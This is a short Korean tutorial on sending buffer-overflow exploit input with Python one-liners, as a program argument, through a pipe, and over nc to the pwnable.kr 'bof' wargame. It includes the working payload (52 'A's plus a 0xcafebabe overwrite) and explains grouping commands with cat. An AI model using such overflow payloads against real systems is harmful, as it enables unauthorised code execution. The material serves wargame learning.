입력을 통한 Exploit 코드를 실행하는 방법
Buffer Over Flow를 수행하기 위해서 실행 파일에 입력을 해야 할때가 필요하다.
이때 공격 코드를 입력하는 방법은 다음과 같다 .
Python을 이용한 Exploit 코드 입력 방법
1) 프로그램에 실행 인자로 넘겨 줄 경우 다음과 강이 사용하면 된다.
./bof `python -c "print 'A'*52+'\xbe\xba\xfe\xca'"`
2) 프로그램 실행 중간에 입력해야 할 경우
(python -c "print 'A'*52+'\xbe\xba\xfe\xca'";cat) | ./bof
3) nc 를 이용한 Exploit 코드를 입력하는 방법(pwnable.kr bof 문제서 사용된다)
(python -c "print 'A'*52+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000
** 중요 포인트 **
python의 -c옵션을 알아 보면 python에서 사용하는 한줄 명령이라고 생각하면된다.
python 명령어 뒤의 cat의 용도는 다음과 같다.
cat을 사용하는 추가 데이터를 붙여서 Exploit 코드를 만들때 사용 할 수 있다.
다음과 같이
()로 묶은 상태에서 Python 스크립트를 이용하면 cat 에서 입력한 내용까지 다 받아드리고 난다음에 문자열이 출력된다
(python -c "print 'A'*52+'\xbe\xba\xfe\xca'";cat)
()로 묶지 않으면 python 출력 내용에 추가로 데이터를 쓸수 없다.
1) ()로 묶은 경우
[root@client 3]# (python -c "print 'A'*40+'aa'" ;cat) > a.txt
test
^C
[root@client 3]# cat a.txt
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa
test
[root@client 3]#
1) ()로 묶지 않은 경우
[root@client 3]# python -c "print 'A'*40+'aa'" ;cat > a.txt
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa
test
^C
[root@client 3]# cat a.txt
test
[root@client 3]#